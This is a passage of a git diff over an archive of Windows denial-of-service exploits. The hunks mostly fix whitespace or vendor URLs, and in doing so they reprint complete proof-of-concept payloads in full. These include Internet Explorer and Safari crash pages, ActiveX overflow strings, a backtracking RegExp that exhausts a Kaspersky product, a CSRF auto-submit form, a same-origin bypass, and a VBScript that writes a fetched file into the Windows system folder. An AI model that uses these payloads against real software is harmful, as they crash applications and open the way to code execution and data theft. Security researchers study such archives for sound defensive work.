CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCccccabcd"> <input type="submit" value="Click here!!!!!"> </form> Juan Pablo Lopez Yacubian \ No newline at end of file diff --git a/platforms/windows/dos/33062.txt b/platforms/windows/dos/33062.txt index f0e8a936e..f807c65a3 100755 --- a/platforms/windows/dos/33062.txt +++ b/platforms/windows/dos/33062.txt @@ -7,4 +7,4 @@ Given the nature of this issue, the attacker may also be able to run arbitrary c Safari 4.0 and 4.0.1 are vulnerable; other versions may also be affected. -<html> <body> <script src="empty.js"></script> <script> try { crashSafari(); } catch(e) { setTimeout("location.reload();",42); prompt('apple culpa? comment:'); } </script> </body> </html> \ No newline at end of file +<html> <body> <script src="empty.js"></script> <script> try { crashSafari(); } catch(e) { setTimeout("location.reload();",42); prompt('apple culpa? comment:'); } </script> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/33173.html b/platforms/windows/dos/33173.html index 55eed56e2..b32938c13 100755 --- a/platforms/windows/dos/33173.html +++ b/platforms/windows/dos/33173.html @@ -6,4 +6,4 @@ Successful exploits can allow attackers to crash the affected browser, resulting Versions prior to Internet Explorer 8 beta 2 are vulnerable. -<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html> \ No newline at end of file +<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/33174.html b/platforms/windows/dos/33174.html index e733c9af5..057442129 100755 --- a/platforms/windows/dos/33174.html +++ b/platforms/windows/dos/33174.html @@ -6,4 +6,4 @@ Successful exploits can allow attackers to crash the affected browser, resulting Versions prior to Internet Explorer 8 beta 2 are vulnerable. -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head><title>IE crash bug</title> <script type="text/javascript"> var li = document.createElement("li"); li.setAttribute("value", "1"); // this crashes IE! li.value = "1"; // this also crashes IE! </script> </head><body> <h1>IE crash bug test</h1> </body></html> \ No newline at end of file +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head><title>IE crash bug</title> <script type="text/javascript"> var li = document.createElement("li"); li.setAttribute("value", "1"); // this crashes IE! li.value = "1"; // this also crashes IE! </script> </head><body> <h1>IE crash bug test</h1> </body></html> \ No newline at end of file diff --git a/platforms/windows/dos/33185.html b/platforms/windows/dos/33185.html index 298d65f02..35ac72797 100755 --- a/platforms/windows/dos/33185.html +++ b/platforms/windows/dos/33185.html @@ -4,4 +4,4 @@ The Nokia Lotus Notes Connector 'lnresobject.dll' ActiveX control is prone to a A successful attack allows a remote attacker to crash an application that is using the ActiveX control (typically Internet Explorer), denying further service to legitimate users. -<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html> \ No newline at end of file +<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html> \ No newline at end of file diff --git a/platforms/windows/dos/33225.html b/platforms/windows/dos/33225.html index f8e2abea9..b2f148623 100755 --- a/platforms/windows/dos/33225.html +++ b/platforms/windows/dos/33225.html @@ -7,4 +7,4 @@ Successfully exploiting this issue allows remote attackers to execute arbitrary EasyMail Objects 6.0.2.0 is vulnerable; other versions may also be affected. Spam Inspector 4.0.354 is vulnerable. -<HTML> <object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object> <script language = 'vbscript'> Scrap = unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") code = Scrap target.LicenseKey = code </script> <html> \ No newline at end of file +<HTML> <object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object> <script language = 'vbscript'> Scrap = unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") code = Scrap target.LicenseKey = code </script> <html> \ No newline at end of file diff --git a/platforms/windows/dos/33533.html b/platforms/windows/dos/33533.html index 22ff16e6b..4b12e9857 100755 --- a/platforms/windows/dos/33533.html +++ b/platforms/windows/dos/33533.html @@ -7,4 +7,4 @@ An attacker can exploit this issue to execute arbitrary code in the context of t NOTE: The ActiveX control is included in AOL 9.5; other applications may also include the ActiveX control. -<package> <job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' /> <script language='vbscript'> arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") target.ViewProfile arg1 </script> </job> </package> \ No newline at end of file +<package> <job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' /> <script language='vbscript'> arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") target.ViewProfile arg1 </script> </job> </package> \ No newline at end of file diff --git a/platforms/windows/dos/33608.html b/platforms/windows/dos/33608.html index 67ed2ca40..c6d274405 100755 --- a/platforms/windows/dos/33608.html +++ b/platforms/windows/dos/33608.html @@ -6,4 +6,4 @@ Successful exploits may allow an attacker to crash the affected browser, resulti The issue affects Safari 4.0.4; other versions may also be affected. -<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script> \ No newline at end of file +<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script> \ No newline at end of file diff --git a/platforms/windows/dos/34069.html b/platforms/windows/dos/34069.html index d28b50b7f..0958e553f 100755 --- a/platforms/windows/dos/34069.html +++ b/platforms/windows/dos/34069.html @@ -8,4 +8,4 @@ Successfully exploiting this issue will cause the application to stop responding Internet Explorer 6, 7, and 8 are vulnerable. -<html> <head> <title>Internet Explorer DoS Exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <body> <p style="dos:expression(alert('DoS'))">IE DoS</p> </body> </html> \ No newline at end of file +<html> <head> <title>Internet Explorer DoS Exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <body> <p style="dos:expression(alert('DoS'))">IE DoS</p> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/34359.html b/platforms/windows/dos/34359.html index def25c705..4088e4c8e 100755 --- a/platforms/windows/dos/34359.html +++ b/platforms/windows/dos/34359.html @@ -16,4 +16,4 @@ Exploiting this issue may allow a remote attacker to perform certain actions in <input type="hidden" name="forwardtosearchkey" value=""> <input type="hidden" name="forwardtoisdl" value=""> <input type="hidden" name="keepcopy" value="1"> -<body onload="document.forms.xsrf.submit();"> \ No newline at end of file +<body onload="document.forms.xsrf.submit();"> \ No newline at end of file diff --git a/platforms/windows/dos/34602.html b/platforms/windows/dos/34602.html index b7114e704..72de56d93 100755 --- a/platforms/windows/dos/34602.html +++ b/platforms/windows/dos/34602.html @@ -8,4 +8,4 @@ Successful exploits will allow attackers to bypass the same-origin policy and ob This issue affects Internet Explorer 6, 7, and 8. -<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html> \ No newline at end of file +<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/34938.txt b/platforms/windows/dos/34938.txt index c9ab8de8b..a9e3f6bfb 100755 --- a/platforms/windows/dos/34938.txt +++ b/platforms/windows/dos/34938.txt @@ -11,4 +11,4 @@ Teamspeak version 2.0.32.60 is vulnerable. The following proof-of-concept packet is available: f2be000426ad7e00300000000001000a414141414141414141424141414141 4141414141414141414141414141414141414100ff99414141424242424141 -414141414141414141 \ No newline at end of file +414141414141414141 \ No newline at end of file diff --git a/platforms/windows/dos/35895.txt b/platforms/windows/dos/35895.txt index e28ded5a5..1bec4ad61 100755 --- a/platforms/windows/dos/35895.txt +++ b/platforms/windows/dos/35895.txt @@ -16,7 +16,7 @@ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sp Luigi Auriemma Application: NVIDIA RealityServer - http://www.realityserver/products/realityserver.html + http://www.realityserver.com/products/realityserver.html http://www.nvidia.com/object/realityserver.html Versions: <= 3.1.1 build 144525.5057 Platforms: Windows and Linux diff --git a/platforms/windows/dos/36427.txt b/platforms/windows/dos/36427.txt index 55c11bcf3..1621fe232 100755 --- a/platforms/windows/dos/36427.txt +++ b/platforms/windows/dos/36427.txt @@ -6,4 +6,4 @@ Attackers may leverage this issue to crash the affected application, denying ser PowerDVD 11.0.0.2114 is vulnerable; other versions may also be affected. -udpsz -c "\r\n\r\n" -T SERVER 55793 -1 \ No newline at end of file +udpsz -c "\r\n\r\n" -T SERVER 55793 -1 \ No newline at end of file diff --git a/platforms/windows/dos/37673.html b/platforms/windows/dos/37673.html index 937bf9ba0..e76ade42d 100755 --- a/platforms/windows/dos/37673.html +++ b/platforms/windows/dos/37673.html @@ -6,4 +6,4 @@ An attacker may exploit this issue by enticing victims into opening a malicious The attacker can exploit this issue to cause denial-of-service conditions in Internet Explorer or other applications that use the vulnerable ActiveX control. Due to the nature of this issue, arbitrary code execution may be possible, but this has not been confirmed. -<html> Exploit <object classid='clsid:A4463024-2B6F-11D0-BFBC-0020F8008024' id='target' /></object> <script language='vbscript'> targetFile = "C:\WINDOWS\system32\ixsso.dll" prototype = "Property Let OnStartPage As object" memberName = "OnStartPage" progid = "Cisso.CissoQuery" argCount = 1 Set arg1=Nothing target.OnStartPage arg1 </script> \ No newline at end of file +<html> Exploit <object classid='clsid:A4463024-2B6F-11D0-BFBC-0020F8008024' id='target' /></object> <script language='vbscript'> targetFile = "C:\WINDOWS\system32\ixsso.dll" prototype = "Property Let OnStartPage As object" memberName = "OnStartPage" progid = "Cisso.CissoQuery" argCount = 1 Set arg1=Nothing target.OnStartPage arg1 </script> \ No newline at end of file diff --git a/platforms/windows/dos/38617.txt b/platforms/windows/dos/38617.txt index 607bfc727..1af406d79 100755 --- a/platforms/windows/dos/38617.txt +++ b/platforms/windows/dos/38617.txt @@ -221,4 +221,4 @@ FAILURE_ID_HASH: {031149d8-0626-9042-d8b7-a1766b1c5514} Followup: MachineOwner --------- -To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. \ No newline at end of file +To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. \ No newline at end of file diff --git a/platforms/windows/dos/39037.php b/platforms/windows/dos/39037.php index 1814fae15..f5018f84f 100755 --- a/platforms/windows/dos/39037.php +++ b/platforms/windows/dos/39037.php @@ -42,4 +42,4 @@ $content = preg_replace( echo 'If you can see this everything seems to be working fine.'; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/windows/dos/39125.html b/platforms/windows/dos/39125.html index d8af82f3d..5c6bb40eb 100755 --- a/platforms/windows/dos/39125.html +++ b/platforms/windows/dos/39125.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to exhaust available CPU and memory resources Kaspersky Internet Security 14.0.0.4651 is vulnerable; other versions may also be affected. -<HTML> <HEAD> <TITLE>RegExp Resource Exhaustion </TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT type="text/javascript"> var patt1=new RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)"); document.write(patt1.exec("peace")); </SCRIPT> </BODY> </HTML> \ No newline at end of file +<HTML> <HEAD> <TITLE>RegExp Resource Exhaustion </TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT type="text/javascript"> var patt1=new RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)"); document.write(patt1.exec("peace")); </SCRIPT> </BODY> </HTML> \ No newline at end of file diff --git a/platforms/windows/dos/40298.py b/platforms/windows/dos/40298.py index 2bf6e922a..ab76c9ab9 100755 --- a/platforms/windows/dos/40298.py +++ b/platforms/windows/dos/40298.py @@ -130,4 +130,4 @@ data: newPassword=mypassword document.forms[0].submit(); </script> -</body></html> \ No newline at end of file +</body></html> \ No newline at end of file diff --git a/platforms/windows/dos/4289.php b/platforms/windows/dos/4289.php index 834d91d62..68aa5c234 100755 --- a/platforms/windows/dos/4289.php +++ b/platforms/windows/dos/4289.php @@ -4,7 +4,7 @@ ###----------------------------------------------------### ###--------Easy Chat Server Remote DoS Exploit---------### ###----------------------------------------------------### -###-http://www.echatserver/------------------------### +###-http://www.echatserver.com/------------------------### ###----------------------------------------------------### ###-Tested on version 2.2 [last version]-(XP SP2)------### ###----------------------------------------------------### diff --git a/platforms/windows/dos/562.c b/platforms/windows/dos/562.c index 407805cae..eaed19fbe 100755 --- a/platforms/windows/dos/562.c +++ b/platforms/windows/dos/562.c @@ -1,4 +1,4 @@ -/* Microsoft mssql 7.0 server is vulnerable to denial of service attack + /* Microsoft mssql 7.0 server is vulnerable to denial of service attack * By sending a large buffer with specified data an attacker can stop the service * "mssqlserver" the error noticed is different according to services' diff --git a/platforms/windows/dos/6319.html b/platforms/windows/dos/6319.html index 0d6171013..d5698ebdf 100755 --- a/platforms/windows/dos/6319.html +++ b/platforms/windows/dos/6319.html @@ -18,7 +18,7 @@ <script language='vbscript'> Sub tryMe dim remURL - remURL = "http://Someserver/SomeFile.doc" + remURL = "http://SomeSite.com/SomeFile.doc" test.Open remURL, True test.Save "C:\WINDOWS\_system.ini", True End Sub diff --git a/platforms/windows/dos/6654.pl b/platforms/windows/dos/6654.pl index a91924b58..9a5af3a65 100755 --- a/platforms/windows/dos/6654.pl +++ b/platforms/windows/dos/6654.pl @@ -3,7 +3,7 @@ # # This poc allow you to own the 2 first EDI & EDX bytes. # -# To become remote, add a simple document.location.href=irc://server/... in some html page +# To become remote, add a simple document.location.href=irc://server.com/... in some html page # use IO::Socket; diff --git a/platforms/windows/dos/6717.py b/platforms/windows/dos/6717.py index fe2ce5d49..7c306e9ea 100755 --- a/platforms/windows/dos/6717.py +++ b/platforms/windows/dos/6717.py @@ -1,5 +1,5 @@ # WinFTP v2.3.0 DoS exploit -# WinFTP URL - http://www.wftpserver/ +# WinFTP URL - http://www.wftpserver.com/ # DoS'ed when try to send data # (x)dmnt # -*- coding: windows-1252 -*- diff --git a/platforms/windows/dos/7756.py b/platforms/windows/dos/7756.py index 75f10015e..19b7c20d4 100755 --- a/platforms/windows/dos/7756.py +++ b/platforms/windows/dos/7756.py @@ -23,7 +23,7 @@ # # [+] Application : Nofeel FTP Server V3.6 # -# [+] Vendor URL : http://www.nftpserver/ +# [+] Vendor URL : http://www.nftpserver.com/ # # [+] Bug : Nofeel FTP Server (CWD) Remote Memory Consumption Exploit # diff --git a/platforms/windows/dos/8524.txt b/platforms/windows/dos/8524.txt index 7867bfe97..cc4092c9d 100755 --- a/platforms/windows/dos/8524.txt +++ b/platforms/windows/dos/8524.txt @@ -1,4 +1,4 @@ -Home Web Server <=r1.7.1 (build 147) "Gui Thread-Memory Corruption Exploit." By: Aodrulez. + Home Web Server <=r1.7.1 (build 147) "Gui Thread-Memory Corruption Exploit." By: Aodrulez. Homepage : http://downstairs.dnsalias.net/homewebserver.html Product Released : 22.4.2009/21:16:58 diff --git a/platforms/windows/dos/887.py b/platforms/windows/dos/887.py index bc3d6e80a..f4fa7d433 100755 --- a/platforms/windows/dos/887.py +++ b/platforms/windows/dos/887.py @@ -1,4 +1,4 @@ -################################################################## + ################################################################## # # # See-security Technologies ltd. # # # diff --git a/platforms/windows/dos/899.pl b/platforms/windows/dos/899.pl index c913e1464..7bf2a90f9 100755 --- a/platforms/windows/dos/899.pl +++ b/platforms/windows/dos/899.pl @@ -1,4 +1,4 @@ - + #!/usr/bin/perl use IO::Socket; diff --git a/platforms/windows/dos/908.c b/platforms/windows/dos/908.c index 408396d25..7ac8c52f4 100755 --- a/platforms/windows/dos/908.c +++ b/platforms/windows/dos/908.c @@ -1,4 +1,4 @@ -/* + /* ArGoSoft Ftp Server remote overflow exploit author : c0d3r "kaveh razavi" c0d3rz_team@yahoo.com c0d3r@ihsteam.com package : ArGoSoft 1.4.2.29 and prior diff --git a/platforms/windows/dos/9123.pl b/platforms/windows/dos/9123.pl index 61c9535e5..b8b8ee149 100755 --- a/platforms/windows/dos/9123.pl +++ b/platforms/windows/dos/9123.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl + #!/usr/bin/perl # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ## # # M3U/M3L to ASX/WPL v1.1 (asx,m3u,m3l) Local Stack Overflow POC ## # # Download: http://proletsoft.freeservers.com/mmb/m3utoasx.html ## diff --git a/platforms/windows/dos/9124.pl b/platforms/windows/dos/9124.pl index b71d66a39..97f205723 100755 --- a/platforms/windows/dos/9124.pl +++ b/platforms/windows/dos/9124.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl + #!/usr/bin/perl # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ## # # Playlistmaker v1.5 (.M3U/M3L/Txt File) Local Stack Overflow POC ## # # Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html ## diff --git a/platforms/windows/dos/9411.cpp b/platforms/windows/dos/9411.cpp index e259d6696..cc77a9fff 100755 --- a/platforms/windows/dos/9411.cpp +++ b/platforms/windows/dos/9411.cpp @@ -1,4 +1,4 @@ -/*************************************************************************************** + /*************************************************************************************** Embedthis Appweb Remote Stack Buffer Overflow Poc Embedthis Appweb Debugging Info ------------------------------- diff --git a/platforms/windows/dos/9446.cpp b/platforms/windows/dos/9446.cpp index a854900b3..5e4c79ad1 100755 --- a/platforms/windows/dos/9446.cpp +++ b/platforms/windows/dos/9446.cpp @@ -1,4 +1,4 @@ -/*0day HTML Email Creator & Sender v2.3 Local Buffer Overflow(Seh) Poc + /*0day HTML Email Creator & Sender v2.3 Local Buffer Overflow(Seh) Poc ******************************************************************** Debugging info Seh handler is overwriten , the offset is at 60 bytes in our buffer diff --git a/platforms/windows/dos/9549.c b/platforms/windows/dos/9549.c index b7dbd2ff9..e9644d7ca 100755 --- a/platforms/windows/dos/9549.c +++ b/platforms/windows/dos/9549.c @@ -1,4 +1,4 @@ -/* + /* *MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand) *Debugging Info *szAppName : MEHTTPS.EXE szAppVer : 1.0.0.1 szModName : MEHTTPS.EXE diff --git a/platforms/windows/dos/9677.c b/platforms/windows/dos/9677.c index bca918fae..b53f835bc 100755 --- a/platforms/windows/dos/9677.c +++ b/platforms/windows/dos/9677.c @@ -1,4 +1,4 @@ -/****************************************************** + /****************************************************** HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC * by fl0 fl0w * ****************************************************** diff --git a/platforms/windows/local/10664.py b/platforms/windows/local/10664.py index 